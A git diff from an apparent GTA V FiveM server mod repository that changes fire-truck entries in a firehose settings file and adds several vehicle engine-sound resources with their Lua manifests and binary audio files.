a/resources/firehose/settings/trucks.ini +++ b/resources/firehose/settings/trucks.ini @@ -17,7 +17,7 @@ Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model silvfire +Model fdtanker AttachOffset 0.45,-4.7,0.4 OtherAttachOffset 0.45,-4.7,0.4 HelpTextOffset 0.4,-4.7,0.4 @@ -27,7 +27,7 @@ CanAttachToOthers true } {[TruckInfo] -Model ram20pov +Model bf350 AttachOffset -0.3,-4.0,1.3 OtherAttachOffset -0.47,-4.30,0.62 HelpTextOffset 0,-4.34,1 @@ -145,103 +145,470 @@ Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model roseneng -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model rescue +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model lsfd1 -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model ranger1fd +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model rescue1 -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model f550csquad +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model Ferrara -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model engine52 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model roseneng -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model mcceone +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model rescue11 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model firetruk13 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model enforcerpuc +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model firetruk6 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model firetruk5 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model m2engine +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model roseneng +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model safd2 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model engine1 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model emsgator +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model bcfd5 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model bcfd4 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model SAFR3 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model FD2 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model utility2 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model engine2 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model Quantum2 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model engine1 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model qrescue +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model qengine +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } {[TruckInfo] Model qcab -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } {[TruckInfo] -Model qengine -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model brushram +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } - {[TruckInfo] Model qtrailer -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } - {[TruckInfo] -Model qrescue -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model hazop1 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } - {[TruckInfo] -Model pierce1 -AttachOffset -0.225,-4.04,0.9 -OtherAttachOffset -1,-3.6,-0.1 -HelpTextOffset 0,-4.34,0 -Capacity 100 -CanAttachToOthers true +Model rescue1 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model riheavy +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model engine +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model silvfd3 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model ramfire +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model utility2 +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false +Weapons WATER,FOAM,PRESSURE +} + +{[TruckInfo] +Model +AttachOffset -0.97,0.45,-0.45 +OtherAttachOffset -0.97,-0.15,-0.4 +HelpTextOffset -1.205,0.5,0.4 +Capacity 120 +CanAttachToOthers false Weapons WATER,FOAM,PRESSURE } diff --git a/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_game.dat151.rel b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_game.dat151.rel new file mode 100644 index 000000000..d18b73f7b Binary files /dev/null and b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_game.dat151.rel differ diff --git a/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_sounds.dat54.rel b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_sounds.dat54.rel new file mode 100644 index 000000000..dfae875af Binary files /dev/null and b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_sounds.dat54.rel differ diff --git a/resources/kc103hemipwagon/fxmanifest.lua b/resources/kc103hemipwagon/fxmanifest.lua new file mode 100644 index 000000000..d15b06511 --- /dev/null +++ b/resources/kc103hemipwagon/fxmanifest.lua @@ -0,0 +1,15 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/kc103hemipwagon_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/kc103hemipwagon_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/kc103hemipwagon_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_kc103hemipwagon" +dependency '/assetpacks' \ No newline at end of file diff --git a/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon.awc b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon.awc new file mode 100644 index 000000000..87ed43e6e Binary files /dev/null and b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon.awc differ diff --git a/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon_npc.awc b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon_npc.awc new file mode 100644 index 000000000..42d1910d4 Binary files /dev/null and b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon_npc.awc differ diff --git a/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_game.dat151.rel b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_game.dat151.rel new file mode 100644 index 000000000..45724d087 Binary files /dev/null and b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_game.dat151.rel differ diff --git a/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_sounds.dat54.rel b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_sounds.dat54.rel new file mode 100644 index 000000000..3f641846d Binary files /dev/null and b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_sounds.dat54.rel differ diff --git a/resources/kc129powerstroke60/fxmanifest.lua b/resources/kc129powerstroke60/fxmanifest.lua new file mode 100644 index 000000000..d898ccfa7 --- /dev/null +++ b/resources/kc129powerstroke60/fxmanifest.lua @@ -0,0 +1,15 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/kc129powerstroke60_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/kc129powerstroke60_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/kc129powerstroke60_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_kc129powerstroke60" +dependency '/assetpacks' \ No newline at end of file diff --git a/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60.awc b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60.awc new file mode 100644 index 000000000..01599cc75 Binary files /dev/null and b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60.awc differ diff --git a/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60_npc.awc b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60_npc.awc new file mode 100644 index 000000000..4036600d2 Binary files /dev/null and b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60_npc.awc differ diff --git a/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_amp.dat10.rel b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_amp.dat10.rel new file mode 100644 index 000000000..2c61ab685 Binary files /dev/null and b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_amp.dat10.rel differ diff --git a/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_game.dat151.rel b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_game.dat151.rel new file mode 100644 index 000000000..d10fca7bb Binary files /dev/null and b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_game.dat151.rel differ diff --git a/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_sounds.dat54.rel b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_sounds.dat54.rel new file mode 100644 index 000000000..ab4b3eebc Binary files /dev/null and b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_sounds.dat54.rel differ diff --git a/resources/kc67chevy427v8/fxmanifest.lua b/resources/kc67chevy427v8/fxmanifest.lua new file mode 100644 index 000000000..8697f96dd --- /dev/null +++ b/resources/kc67chevy427v8/fxmanifest.lua @@ -0,0 +1,15 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/kc67chevy427v8_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/kc67chevy427v8_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/kc67chevy427v8_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_kc67chevy427v8" +dependency '/assetpacks' \ No newline at end of file diff --git a/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8.awc b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8.awc new file mode 100644 index 000000000..7f384b41e Binary files /dev/null and b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8.awc differ diff --git a/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8_npc.awc b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8_npc.awc new file mode 100644 index 000000000..2b7700e55 Binary files /dev/null and b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8_npc.awc differ diff --git a/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_amp.dat10.rel b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_amp.dat10.rel new file mode 100644 index 000000000..87880df49 Binary files /dev/null and b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_amp.dat10.rel differ diff --git a/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_game.dat151.rel b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_game.dat151.rel new file mode 100644 index 000000000..2b370a700 Binary files /dev/null and b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_game.dat151.rel differ diff --git a/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_sounds.dat54.rel b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_sounds.dat54.rel new file mode 100644 index 000000000..04b9e0107 Binary files /dev/null and b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_sounds.dat54.rel differ diff --git a/resources/kc83chevy454mod/fxmanifest.lua b/resources/kc83chevy454mod/fxmanifest.lua new file mode 100644 index 000000000..17bef7f5a --- /dev/null +++ b/resources/kc83chevy454mod/fxmanifest.lua @@ -0,0 +1,15 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/kc83chevy454mod_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/kc83chevy454mod_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/kc83chevy454mod_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_kc83chevy454mod" +dependency '/assetpacks' \ No newline at end of file diff --git a/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod.awc b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod.awc new file mode 100644 index 000000000..73d51fe21 Binary files /dev/null and b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod.awc differ diff --git a/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod_npc.awc b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod_npc.awc new file mode 100644 index 000000000..52365358c Binary files /dev/null and b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod_npc.awc differ diff --git a/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_amp.dat10.rel b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_amp.dat10.rel new file mode 100644 index 000000000..84e14c6a3 Binary files /dev/null and b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_amp.dat10.rel differ diff --git a/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_game.dat151.rel b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_game.dat151.rel new file mode 100644 index 000000000..85d5333b4 Binary files /dev/null and b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_game.dat151.rel differ diff --git a/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_sounds.dat54.rel b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_sounds.dat54.rel new file mode 100644 index 000000000..74246fafb Binary files /dev/null and b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_sounds.dat54.rel differ diff --git a/resources/kc85cumminsb67/fxmanifest.lua b/resources/kc85cumminsb67/fxmanifest.lua new file mode 100644 index 000000000..aa7d18cb0 --- /dev/null +++ b/resources/kc85cumminsb67/fxmanifest.lua @@ -0,0 +1,15 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/kc85cumminsb67_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/kc85cumminsb67_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/kc85cumminsb67_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_kc85cumminsb67" +dependency '/assetpacks' \ No newline at end of file diff --git a/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67.awc b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67.awc new file mode 100644 index 000000000..a8ccfd69c Binary files /dev/null and b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67.awc differ diff --git a/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67_npc.awc b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67_npc.awc new file mode 100644 index 000000000..cfcc91403 Binary files /dev/null and b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67_npc.awc differ diff --git a/resources/kc91crate427a480/audioconfig/kc91crate427a480_amp.dat10.rel b/resources/kc91crate427a480/audioconfig/kc91crate427a480_amp.dat10.rel new file mode 100644 index 000000000..9500e68b1 Binary files /dev/null and b/resources/kc91crate427a480/audioconfig/kc91crate427a480_amp.dat10.rel differ diff --git a/resources/kc91crate427a480/audioconfig/kc91crate427a480_game.dat151.rel b/resources/kc91crate427a480/audioconfig/kc91crate427a480_game.dat151.rel new file mode 100644 index 000000000..d736c393c Binary files /dev/null and b/resources/kc91crate427a480/audioconfig/kc91crate427a480_game.dat151.rel differ diff --git a/resources/kc91crate427a480/audioconfig/kc91crate427a480_sounds.dat54.rel b/resources/kc91crate427a480/audioconfig/kc91crate427a480_sounds.dat54.rel new file mode 100644 index 000000000..b901d0ec1 Binary files /dev/null and b/resources/kc91crate427a480/audioconfig/kc91crate427a480_sounds.dat54.rel differ diff --git a/resources/kc91crate427a480/fxmanifest.lua b/resources/kc91crate427a480/fxmanifest.lua new file mode 100644 index 000000000..aa9665cc7 --- /dev/null +++ b/resources/kc91crate427a480/fxmanifest.lua @@ -0,0 +1,15 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/kc91crate427a480_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/kc91crate427a480_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/kc91crate427a480_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_kc91crate427a480" +dependency '/assetpacks' \ No newline at end of file diff --git a/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480.awc b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480.awc new file mode 100644 index 000000000..4900ddf6c Binary files /dev/null and b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480.awc differ diff --git a/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480_npc.awc b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480_npc.awc new file mode 100644 index 000000000..a40549cd8 Binary files /dev/null and b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480_npc.awc differ diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.nametable b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.nametable new file mode 100644 index 000000000..3083334e3 Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.nametable differ diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.rel b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.rel new file mode 100644 index 000000000..d1c45d655 Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.rel differ diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.nametable b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.nametable new file mode 100644 index 000000000..825de1d33 Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.nametable differ diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.rel b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.rel new file mode 100644 index 000000000..07c383546 Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.rel differ diff --git a/resources/lg125mnsrybently/fxmanifest.lua b/resources/lg125mnsrybently/fxmanifest.lua new file mode 100644 index 000000000..f4573013e --- /dev/null +++ b/resources/lg125mnsrybently/fxmanifest.lua @@ -0,0 +1,14 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + 